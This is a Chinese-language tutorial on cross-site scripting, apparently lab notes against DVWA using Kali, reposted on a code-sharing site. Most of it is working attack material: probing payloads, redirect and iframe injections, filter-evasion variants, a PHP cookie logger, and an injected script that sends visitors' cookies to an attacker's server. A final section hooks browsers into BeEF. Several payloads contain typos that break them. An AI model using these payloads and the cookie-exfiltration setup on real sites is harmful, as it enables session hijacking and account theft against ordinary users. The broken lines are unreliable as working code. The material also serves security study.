XSS簡述


XSS:cross site script簡述

XSS 指惡意攻擊者利用網站提供的接口,沒有對用戶提交的數據進行轉義處理或者過濾不足的缺點,進而添加一些代碼,嵌入到web頁面中去,別的用戶訪問都會執行被嵌入的代碼。XSS漏洞存在服務器中,由被攻擊者訪問服務器觸發,在客戶端瀏覽器中執行惡意代碼

XSS危害

  1. 盜取各種用戶賬號

  2. 竊取用戶cookie資料,冒充用戶身份進入網站

  3. 劫持用戶會話,執行任意操作

  4. 刷流量,執行彈窗廣告

  5. 傳播蠕蟲病毒

XSS 漏洞的驗證

  • 在網頁上類似搜索框,留言板的地方輸入一下代碼,被當做字符串輸出到HTML頁面中,瀏覽器會根據<script>標簽識別為JS代碼,並且會執行它,也就是說可以執行其他任意的JS代碼,以此就 就驗證了XSS漏洞的存在

 <script>alert(/xss)</script>
<script>confirm(/xss)</script>
<script>prompt(/xss)</script>

XSS的分類

  • 反射型XSS:非持久性跨站腳本攻擊,

  • 存儲型XSS:持久性跨站腳本攻擊,xss代碼不是在某個參數中,而是存在於web服務器的數據庫或文件中

    • 當頁面被用戶打開的時候執行,通常發生在留言本等地方

  • DOM型XSS:基於DOM的XSS,攻擊的payload是由於修改受害者的瀏覽器頁面的DOM樹而執行的

構造XSS腳本

構造XSS腳本分為三種
利用<>構造html/js標簽
<script>alert(xss)</script>
偽協議,javascript:
<a href="javascript:alert(xss)">click me</a>
<img src="javascript:alert(xss)">
產生自己的事件
windows事件
form事件
keyboard事件
mouse事件
medie事件
<img src="./joke.jpg" onmouseover='aler(xss)'>,引入一個圖片,當鼠標懸停在圖片上的時候出發XSS代碼

 

彈窗警告:一旦次腳本能執行,也就意味着后端服務器沒有對特殊字符做過濾,就證明存在XSS漏洞
<script>alert(/xss)</script>
<script>alert(document.cookie)</scirpt>

頁面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

頁面重定向
<script>windows.location="http://www.baidu.com"</scirpt>
<script>location.href="http://www.baidu.com"</scipt>

彈窗警告並重定向
<script>alert("okkoko");location.href="http://www.baidu.com"</script>
<script>alert('xss');location.href="http://1.1.1.1/dvwa/robots.txt"</script>

訪問惡意
<script src="http://www.dvwa.com/xss.js"></scipt>
<script src="http://BeEf_ip:3000"/hook.js></script>

巧用圖片標簽
<img src="#" onerror=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"></img>

javasript偽協議
<a href="javascript:alert(/xss)">touch me!</a>
<img src="javascript:alert(/xss/)">
   

XSS的變形,繞過

對構造的XSS代碼進行各種變形,用來繞過XSS過濾器的檢測
大小寫轉換
<img sRc="#" onerror="alert(/xss/)" />
<a hREf="javascript:alert(/xss/)">click me </a>

引號的使用
<Img sRc="#" onerror="alert(/xss/)" />
<Img sRc="#" onerror='alert(/xss/)' />
<Img sRc="#" onerror=alert(/xss/) />
<Img/sRc="#" onerror="alert(/xss/)" />
   
   
用  /   代替空格

在代碼的某些位置添加 回車/tab 符,來繞過關鍵字檢測
<a href="j
a v a script:alert(xss)">click me</a>

對標簽的屬性進行轉碼
字幕            ascii碼            十進制編碼             十六進制編碼
a               97                  &#97                   &#x61
e               101                 &#101                 &#x65
<a href="j&#x61;vascript:al&#x65;rt(/xss/)">click me</a>
可以將一下字符插入到任意位置
Tab                     &#9
換行                     &#10
回車                     &#13
可以將一下字符插入到頭部位置
S0H               &#01
STX               &#02
       
拆分跨站
<script>z='alert'</script>
<script>z=z+'(/xss)'</script>
<script>eval(z)</script>

雙寫繞過
<script></scr<script>ipt>

 

獲取cookie的存儲型XSS攻擊,手動型


使用kali搭建收集cookie的服務器
開啟kali的apache2服務:systemctl start apache2
創建一個php腳本文件,讓被攻擊者訪問被攻擊頁面時,自動訪問這個文件,向攻擊者發送cookie
vim /var/www/html/cookie_rec.php
<?php
$cookie = $_GET['cookie'];
           $log = fopen('cookie.txt','a');
fwrite($log,$cookie .'\n');
fclose($log);
?>
給目錄授權,可以寫入cookie文件,chown -R www-data.www-data /var/www/
滲透機構造一段xss代碼,植入到web服務器(dvwa服務器)
<script>window.open('http://192.168.52.146/cookie_rec.php?cookie='+document.cookie)</script>
等待被攻擊者訪問web服務器,觸發XSS代碼,就會自動發送cookie到kali黑客服務器
cookie的利用

 

BeEF

通過XSS漏洞配合JS腳本和Metasploit進行滲透

kali開啟apache2:root@kali:~# systemctl start apache2
啟動beef:root@kali:~# cd /usr/share/beef-xss
root@kali:~# ./beef
在瀏覽器上登錄beef的管理頁面,如果有人被攻擊,在beef的管理頁面就可以管理了
http:192.168.52.146:3000/ui/panel user:beef,passwd:123456
構建一段xss代碼注入到web服務器中
<script src="http://192.168.52.146:3000/hook.js"></script>
等待肉雞訪問,被注入xss代碼的頁面,只要有肉雞訪問了該頁面,hacker就可以獲取該肉雞的信息,但是只要肉雞的頁面關系,hack就會與肉雞斷開連接

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM